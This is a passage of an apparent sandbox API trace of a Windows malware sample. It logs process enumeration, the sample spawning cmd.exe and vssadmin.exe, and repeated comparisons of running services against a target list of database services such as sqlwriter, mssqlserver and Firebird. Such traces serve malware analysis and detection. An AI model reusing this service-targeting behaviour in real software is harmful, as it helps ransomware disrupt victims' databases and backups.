(lpString1="sqlwriter", lpString2="SysMain") returned -1 [0175.804] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0175.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0175.804] lstrlenW (lpString="SystemEventsBroker") returned 18 [0175.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0175.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0175.804] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0175.804] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0175.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0175.804] lstrlenW (lpString="Themes") returned 6 [0175.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0175.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0175.804] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0175.804] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0175.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0175.804] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0175.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0175.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0175.804] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0175.804] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0175.805] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4181fb8 | out: hHeap=0x420000) returned 1 [0175.805] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4dc [0175.883] Process32FirstW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0175.883] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0175.884] lstrlenW (lpString="System") returned 6 [0175.884] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0175.884] lstrlenW (lpString="smss.exe") returned 8 [0175.884] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0175.885] lstrlenW (lpString="csrss.exe") returned 9 [0175.885] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0175.885] lstrlenW (lpString="wininit.exe") returned 11 [0175.885] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0175.885] lstrlenW (lpString="csrss.exe") returned 9 [0175.886] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0175.886] lstrlenW (lpString="winlogon.exe") returned 12 [0175.886] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0175.887] lstrlenW (lpString="services.exe") returned 12 [0175.887] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0175.887] lstrlenW (lpString="lsass.exe") returned 9 [0175.887] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0175.888] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0175.888] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0175.888] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0175.888] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.888] lstrlenW (lpString="svchost.exe") returned 11 [0175.889] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.889] lstrlenW (lpString="svchost.exe") returned 11 [0175.889] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0175.889] lstrlenW (lpString="dwm.exe") returned 7 [0175.889] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.890] lstrlenW (lpString="svchost.exe") returned 11 [0175.890] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.890] lstrlenW (lpString="svchost.exe") returned 11 [0175.890] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.891] lstrlenW (lpString="svchost.exe") returned 11 [0175.891] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.891] lstrlenW (lpString="svchost.exe") returned 11 [0175.891] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.891] lstrlenW (lpString="svchost.exe") returned 11 [0175.892] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.892] lstrlenW (lpString="svchost.exe") returned 11 [0175.892] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.892] lstrlenW (lpString="svchost.exe") returned 11 [0175.892] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.893] lstrlenW (lpString="svchost.exe") returned 11 [0175.893] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.893] lstrlenW (lpString="svchost.exe") returned 11 [0175.893] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.894] lstrlenW (lpString="svchost.exe") returned 11 [0175.894] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0175.894] lstrlenW (lpString="spoolsv.exe") returned 11 [0175.894] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.895] lstrlenW (lpString="svchost.exe") returned 11 [0175.895] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0175.895] lstrlenW (lpString="audiodg.exe") returned 11 [0175.895] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0175.895] lstrlenW (lpString="sihost.exe") returned 10 [0175.895] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.896] lstrlenW (lpString="svchost.exe") returned 11 [0175.896] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0175.896] lstrlenW (lpString="taskhostw.exe") returned 13 [0175.896] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0175.897] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0175.897] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0175.897] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0175.897] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0175.898] lstrlenW (lpString="Memory Compression") returned 18 [0175.898] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0175.898] lstrlenW (lpString="explorer.exe") returned 12 [0175.898] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0175.898] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0175.898] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0175.899] lstrlenW (lpString="SearchUI.exe") returned 12 [0175.899] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0175.899] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0175.899] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0175.900] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0175.900] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0175.900] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0175.900] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0175.901] lstrlenW (lpString="cmd.exe") returned 7 [0175.901] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0175.901] lstrlenW (lpString="conhost.exe") returned 11 [0175.901] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0175.902] lstrlenW (lpString="consent.exe") returned 11 [0175.902] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0175.902] lstrlenW (lpString="vssadmin.exe") returned 12 [0175.902] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0175.903] CloseHandle (hObject=0x4dc) returned 1 [0175.903] Sleep (dwMilliseconds=0x1f4) [0176.459] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x408e1b8 [0176.460] EnumServicesStatusExW (in: hSCManager=0x408e1b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0176.460] GetLastError () returned 0xea [0176.460] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1bc4) returned 0x4181fb8 [0176.460] EnumServicesStatusExW (in: hSCManager=0x408e1b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4181fb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4181fb8, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0176.461] CloseServiceHandle (hSCObject=0x408e1b8) returned 1 [0176.461] lstrlenW (lpString="Appinfo") returned 7 [0176.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0176.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0176.461] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0176.461] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0176.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0176.462] lstrlenW (lpString="AppXSvc") returned 7 [0176.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0176.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0176.462] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0176.462] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0176.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0176.462] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0176.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0176.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0176.462] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0176.462] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0176.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0176.462] lstrlenW (lpString="Audiosrv") returned 8 [0176.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0176.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0176.462] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0176.462] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0176.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0176.462] lstrlenW (lpString="BFE") returned 3 [0176.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0176.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0176.462] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0176.462] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0176.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0176.462] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0176.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0176.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0176.462] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0176.462] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0176.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0176.462] lstrlenW (lpString="CDPSvc") returned 6 [0176.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0176.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0176.463] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0176.463] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0176.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0176.463] lstrlenW (lpString="ClickToRunSvc") returned 13 [0176.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0176.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0176.463] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0176.463] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0176.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0176.463] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0176.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0176.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0176.463] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0176.463] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0176.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0176.463] lstrlenW (lpString="CryptSvc") returned 8 [0176.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0176.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0176.463] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0176.463] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0176.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0176.463] lstrlenW (lpString="DcomLaunch") returned 10 [0176.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0176.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0176.463] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0176.463] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0176.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0176.463] lstrlenW (lpString="DeviceAssociationService") returned 24 [0176.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0176.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0176.463] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0176.463] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0176.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0176.463] lstrlenW (lpString="Dhcp") returned 4 [0176.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0176.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0176.464] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0176.464] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0176.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0176.464] lstrlenW (lpString="Dnscache") returned 8 [0176.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0176.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0176.464] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0176.464] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0176.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0176.464] lstrlenW (lpString="DPS") returned 3 [0176.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0176.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0176.464] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 